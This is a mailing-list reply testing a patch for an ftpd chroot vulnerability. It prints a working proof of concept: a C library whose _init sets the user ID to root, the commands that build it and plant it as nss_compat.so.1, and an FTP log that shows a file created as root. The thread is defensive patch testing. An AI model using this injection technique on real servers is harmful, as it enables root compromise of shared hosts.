ftpd security issue ?

[Mike Tancsa]

On 11/30/2011 7:01 PM, Xin LI wrote:
> 
>> BTW. This vulnerability affects only configurations, where
>> /etc/ftpchroot exists or anonymous user is allowed to create files
>> inside etc and lib dirs.
> 
> This doesn't seem to be typical configuration or no?

I think in shared hosting environments it would be somewhat common.  For
annon ftp, I dont think the anon user would be able to create / write to
a lib directory.

> 
> Will the attached patch fix the problem?
> 
> (I think libc should just refuse /etc/nsswitch.conf and libraries if
> they are writable by others by the way)

It does not seem to prevent the issue for me.  Using Przemyslaw  program's,

#include <stdio.h>
#include <fcntl.h>

void _init() {
        setuid(0);
        setgid(0);
        FILE *fp = fopen("/newfile", "w+");
        fprintf(fp, "%d %d\n", getuid(), geteuid());
}

cc -o dummy.o -c dummy.c -fPIC ; cc -shared -Wl,-soname,dummy.so -o
dummy.so dummy.o -nostartfiles ; mv dummy.so
~testuser/lib/nss_compat.so.1 ; chown testuser ~testuser/lib/nss_compat.so.1


ftp localhost
Trying 127.0.0.1...
Connected to localhost.
220 vmtest.localdomain FTP server (Version 6.00LS) ready.
Name (localhost:mdtancsa): testuser
331 Password required for testuser.
Password:
230 User testuser logged in, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||62436|)
150 Opening ASCII mode data connection for '/bin/ls'.
total 106
-rw-r--r--  1 1002  1002    763 Nov 30 15:17 .cshrc
-rw-------  1 1002  1002    193 Nov 30 16:36 .history
drwxr-xr-x  2 1002  1002    512 Nov 30 16:05 etc
-r-xr-xr-x  1 0     1002  95076 Nov 30 19:50 ftpd
drwxr-xr-x  2 1002  1002    512 Nov 30 19:56 lib
-rw-r--r--  1 0     1002     79 Nov 30 16:34 t.c
-rwxr-xr-x  1 0     1002     24 Nov 30 16:37 t.sh
226 Transfer complete.
ftp> dir
229 Entering Extended Passive Mode (|||50577|)
150 Opening ASCII mode data connection for '/bin/ls'.
total 108
-rw-r--r--  1 1002  1002    763 Nov 30 15:17 .cshrc
-rw-------  1 1002  1002    193 Nov 30 16:36 .history
drwxr-xr-x  2 1002  1002    512 Nov 30 16:05 etc
-r-xr-xr-x  1 0     1002  95076 Nov 30 19:50 ftpd
drwxr-xr-x  2 1002  1002    512 Nov 30 19:56 lib
-rw-r--r--  1 0     1002      4 Nov 30 19:58 newfile
-rw-r--r--  1 0     1002     79 Nov 30 16:34 t.c
-rwxr-xr-x  1 0     1002     24 Nov 30 16:37 t.sh
226 Transfer complete.
ftp>

the file created is root


-- 
-------------------
Mike Tancsa, tel +1 519 651 3400
Sentex Communications, mike at sentex.net
Providing Internet services since 1994 www.sentex.net
Cambridge, Ontario Canada   http://www.tancsa.com/